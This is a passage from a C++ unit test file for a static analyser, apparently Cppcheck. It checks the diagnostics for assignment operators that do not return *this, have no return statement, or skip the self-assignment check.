\" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n 